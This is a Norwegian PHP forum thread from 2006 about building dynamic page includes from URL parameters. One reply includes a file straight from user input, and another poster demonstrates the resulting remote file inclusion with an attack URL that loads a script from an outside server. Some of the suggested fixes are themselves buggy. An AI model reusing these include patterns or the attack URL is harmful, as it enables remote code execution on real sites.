Gjest Slettet+142 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) hei... har sett enkelte steder der URL'en til en side e "http://§§§§§§.nl/index.php?menu=quicknav&item=search" kordan får man til dette uten en form? har prøvd Url'en e her "index.php?q=1" : <?php $q = $_POST['q']; $en = "page1.php"; $to = "page2.php"; if ($q==1) { echo "Side 1"; include $en; } else { echo "Side2"; include $to; } ?> ^-- egentlig skal det være flere, men eg vet ikkje kordan eg legger flere "if'er" til... eg tenker dette e så galt som mulig, så ka kan eg gjøre? Endret 20. mai 2006 av Slettet+142 Lenke til kommentar
alp_renx Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 Bare legg nye if-else inni if-else $q = $_GET['q']; $x = $_GET['x']; if($q==1) { if($x==1) { // q=1 og x=1 } elseif($x==2) { // q=1 og x=2 } else { // kun q har gyldig verdi } } elseif($q==2) { if($x==1) { // q=2 og x=1 } elseif($x==2) { // q=2 og x=2 } else { // kun q har gyldig verdi } } else { // ingen q } Men gjentatte & & osv brukes primært mot databasespørringer, pass på - for mange slike stunt og det blir lite søkemotorvennlig. Lenke til kommentar
Gjest Slettet+142 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) ok... takk skal prøve no.... (helt ny i forumet å greier... ) men eg trenger ikkje en form for å bruke dette sant? koffor kommer denne feilmeldingen opp? Parse error: parse error, unexpected $ in /mnt/home2/m/ml/mlklan/public_html/valig_php_test_sindrem/new2.php on line 86 KODE: Skjult tekst: (Marker innholdet i feltet for å se teksten): <?php /* --Farger Rød: #FF0000 Grønn: #00FF00 Blå: #0000FF Hvit: #FFFFFF Svart: #000000 --Slutt Farger */ //URL'er $t_sok = "sok/sok.php"; $include = "include.php"; $bursdag = "bursdag.php"; //Søk_Torrents $norbits = "sok/norbits.php"; $acid = "sok/acid.php"; ?> <html> <head> <title>Ny side 2</title> </head> <body> <div style="border-style: solid; border-color: #FF0000"> <a href="index.php">hei</a> </div> <?php $q = $_GET['q']; $x = $_GET['x']; if($q==1) { if($x==1) { // q=1 og x=1 echo '<div style="border-style: solid; border-color: #FF0000">'; include '$include'; echo "</div>"; } elseif($x==2) { // q=1 og x=2 echo '<div style="border-style: solid; border-color: #FF0000">'; include '$bursdag'; echo "</div>"; } else { // kun q har gyldig verdi } } elseif($q==2) { if($x==1) { // q=2 og x=1 echo '<div style="border-style: solid; border-color: #FF0000">'; include '$norbits'; echo "</div>; } elseif($x==2) { // q=2 og x=2 include '$acid'; } else { // kun q har gyldig verdi include '$t_sok'; } } else { // ingen q } echo "Hei folkens"; ?> </body></html> Endret 20. mai 2006 av Slettet+142 Lenke til kommentar
arnizzz Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) Det må da være mye enklere å bruke en switch case? Skal innrømme at jeg ikke er flink til å bruke det selv, men akkurat her vil jeg ha gjort det. huske ikke helt syntax i hodet men her blir det vel sånn ca: switch ($q){ case 1: //if logikk for X med include og alt det der break; case 2: //if logikk for X med include og alt det der break; case n: //osv osv default: include "main.php"; } Eller er det sånn at det er begrenset hva man kan eksevere etter en case? Endret 20. mai 2006 av arnizzz Lenke til kommentar
stian90_2 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 Selv om det er ganske sikkert er det jo mye lettere og skrive $q = $_GET["q"]; if(!empty($q)) include("$q.php"); else echo "Du må velge side"; Lenke til kommentar
Gjest Slettet+142 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) Det må da være mye enklere å bruke en switch case? Skal innrømme at jeg ikke er flink til å bruke det selv, men akkurat her vil jeg ha gjort det. huske ikke helt syntax i hodet men her blir det vel sånn ca: switch ($q){ case 1: //if logikk for X med include og alt det der break; case 2: //if logikk for X med include og alt det der break; case n: //osv osv default: include "main.php"; } Eller er det sånn at det er begrenset hva man kan eksevere etter en case? 6139302[/snapback] ...og så må eg innrømme at eg har VEEEELDIG liten peiling på PHP... ...og må eg bruke en form for å få dette til? Endret 20. mai 2006 av Slettet+142 Lenke til kommentar
alp_renx Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 linje 69: // echo "</div>; echo "</div>"; Lenke til kommentar
Gjest Slettet+142 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 når eg bruker den koden eg fikk av deg, alp_renx (uten form, bare skrevet "index.php?y=1&x=2" i adresse feltet selv) kommer ikkje siden som skal inkluderes opp... Lenke til kommentar
alp_renx Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 du mener vel q=1&x=2 ? Du skriver også feil i include'n din - skal du inkludere en variabel: FEIL: include '$bursdag'; RIKTIG: include $bursdag; Lenke til kommentar
Gjest Slettet+142 Skrevet 20. mai 2006 Del Skrevet 20. mai 2006 (endret) du mener vel q=1&x=2 ? Du skriver også feil i include'n din - skal du inkludere en variabel: FEIL: include '$bursdag'; RIKTIG: include $bursdag; 6139471[/snapback] hrm... tror eg skrev y prøver no.. får se ka d blir til... tillegg...: NO e ALT helt PERFEKT !! Endret 20. mai 2006 av Slettet+142 Lenke til kommentar
ZoRaC Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 Selv om det er ganske sikkert er det jo mye lettere og skrive $q = $_GET["q"]; if(!empty($q)) include("$q.php"); else echo "Du må velge side"; 6139326[/snapback] Og så kommer jeg og kjører: www.dinserver.com/script.php?q=http://www.minserver.com/hackescript.txt? og vips får jeg kjørt all PHP-kode i hackescript.txt på serveren din! :O Lenke til kommentar
JeyKey Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 (endret) dette er sånn ca. hvordan jeg gjør det: <?php $dir = 'include/'; $file_suffix = '.inc.php'; $side = $_GET['side']; $default = 'forside.inc.php'; $legal_sites = scandir($dir); $illegal_sites= array('Thumbs.db','.ftpquota','hemmelig_fil.txt'); if(in_array($legal_sites, $side . $file_suffix) && !in_array($illegal_sites, $side . $file_suffix)) @include($dir . $side); else @include($dir . $default); ?> Da ville hvertfall ikke ZoRaC's eksempel funka, og brukeren kan kun inkludere filer som finnes i din include-mappe $illegal_sites kan også hentes fra en fil, som er mer praktisk hvis du bruker dette scriptet mange steder. Endret 21. mai 2006 av JeyKey Lenke til kommentar
alp_renx Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 skal man absolutt gjøre det enkelt å inkludere php eller html filer så er jo dette en mulighet også if(!empty($_GET['html'])) { $fil = htmlspecialchars($_GET['html']); $side = "sti/".$fil.".html"; } elseif(!empty($_GET['php'])) { $fil = htmlspecialchars($_GET['php']); $side = "sti/".$fil.".php"; } else { $side = "sti/forside.html"; } if(file_exists($side)) { include ($side); } else { print "Side ikke funnet"; } index.php?html=om <-- inkluderer om.html index.php?php=om <-- inkluderer om.php Lenke til kommentar
Gjest Slettet+142 Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 her e koden eg bruker for dette emnet...: Skjult tekst: (Marker innholdet i feltet for å se teksten): <?php //variabler $q = $_GET['q']; $x = $_GET['x']; $y = $_GET['q_choice']; //Sider under "Home" if($q==1) { $title = "Mine første Includes =)"; include $include; } if($q==2) { $title = "Har nokon bursdag idag?"; include $bursdag; } if($q==fjern) { include $whitespace; } //Torrent Searches if($x==1) { $title = "Søk på $n_norbits"; include $norbits; } if($x==2) { $title = "Søk på $n_acid"; include $acid; } if($x==3) { $title = "Søk på $n_elitebytes"; include $elitebytes; } if($x==4) { $title = "Søk på $n_filemptre"; include $filemptre; } if($x==5) { $title = "Søk på $n_fileporn"; include $fileporn; } if($x==6) { $title = "Søk på $n_hdtv"; include $hdtv; } if($x==7) { $title = "Søk på $n_pornbits"; include $pornbits; } if($x==8) { $title = "Søk på $n_pussytorrents"; include $pussytorrents; } if($x==9) { $title = "Søk på $n_sct"; include $sct; } if($x==10) { $title = "Søk på $n_soft"; include $soft; } if($x==11) { $title = "Søk på $n_swebits"; include $swebits; } if($x==12) { $title = "Søk på $n_torrentleech"; include $torrentleech; } //FEIL - X --Torrent if($x==MrT) { include $t_sok_form; echo '<font color="#FF0000">'; echo '<b>'; echo '<br>Feil. Det går ikke an å velge '; echo $x; echo '.<br>'; echo '</b>'; echo '</font>'; } if($x==Velg) { include $t_sok_form; echo '<font color="#FF0000">'; echo '<b>'; echo '<br>Feil. Det går ikke an å velge '; echo $x; echo '.<br>'; echo '</b>'; echo '</font>'; } //Inkluderer $home hvis du velger Home i select'en over. if($y==1) { echo "<hr>"; include $home_exp_en; } //Inkluderer $include hvis du velger Include i select'en over. if($y==incl) { include $include; } //Inkluderer $bursdag hvis du velger Bursdag i select'en over. if($y==burs) { include $bursdag; } //Inkluderer $t_sok_form hvis du velger Torrent i select'en over. if($y==torrent) { include $t_sok_form; } if($y==fjern) { } ?> og så har eg en haug med variabler over denne koden... (misforsto eg den nye diskusjonen no? ) Lenke til kommentar
JeyKey Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 det der er jo grusomt tungvint, og du må i tillegg endre scriptet hver gang du vil ha en ny side. bruk mitt eller alp_renx sitt. Lenke til kommentar
Gjest Slettet+142 Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 (endret) det der er jo grusomt tungvint, og du må i tillegg endre scriptet hver gang du vil ha en ny side. bruk mitt eller alp_renx sitt. 6147988[/snapback] skulle gjerne, men e ny i PHP og skjøøner ikkje en dritt av de skriptene.... :S kan noen forklare de to skriptene til meg? Endret 21. mai 2006 av Slettet+142 Lenke til kommentar
JeyKey Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 alt du trenger å kunne for å skjønne mitt er arrays, in_array(), og scandir. php.net har svaret på alle sammen. Lenke til kommentar
Gjest Slettet+142 Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 hater php.net... så tungvint å lese der... får vel se på ditt skript då... Lenke til kommentar
JeyKey Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 (endret) php.net er verdens største online php dokumentasjon, så jeg ville nok lært meg til å like den. Den er forresten veldig brukervennlig, enkel og oversiktlig. Ingenting galt med den. php.net/in_array forteller deg hva funksjonen gjør, hva slags parametere den tar osv. Under følger det noen praktiske eksempler. Du er helt avhengig av å bruke den til litt større prosjekter, du kan ikke huske all verdens funksjoner i hodet. Og her er scriptet mitt med forklaring: <?php $dir = 'include/'; // mappen filene ligger i $file_suffix = '.inc.php'; // Filendelsen filene har $side = $_GET['side']; // siden du skrev inn i URL'en blir lagt i variabelen $side $default = 'forside.inc.php'; // Siden som inkluderes hvis ikke $side finnes, eller er tom $legal_sites = scandir($dir); // lager et array over tillatte fil $illegal_sites= array('Thumbs.db','.ftpquota','hemmelig_fil.txt'); // det samme med ulovlige filer if(in_array($legal_sites, $side . $file_suffix) && !in_array($illegal_sites, $side . $file_suffix)) @include($dir . $side); // inkluderer filen i URL'en hvis den finnes og ikke er i ulovlig-arrayet else @include($dir . $default); // Hvis den ikke finnes, eller $_GET['side'] er tom ?> den koden legger du i index.php der du vil ha den. Så oppretter du en mappe som heter 'include' og legger en haug med filer som har filendelsen .inc.php der. Så er det bare å skrive "index.php?side=navn_på_fil_i_mappen". Du MÅ ha filen forside.inc.php der, den er standardfilen og forsiden. Endret 21. mai 2006 av JeyKey Lenke til kommentar
Gjest Slettet+142 Skrevet 21. mai 2006 Del Skrevet 21. mai 2006 skal det være noe "i" .inc.php-filene, eller skal de være tomme? hvis eg no har "include/index.inc.php" -- kan eg vel bare skrive "index.php?side=index" for å inkludere den? Lenke til kommentar
Anbefalte innlegg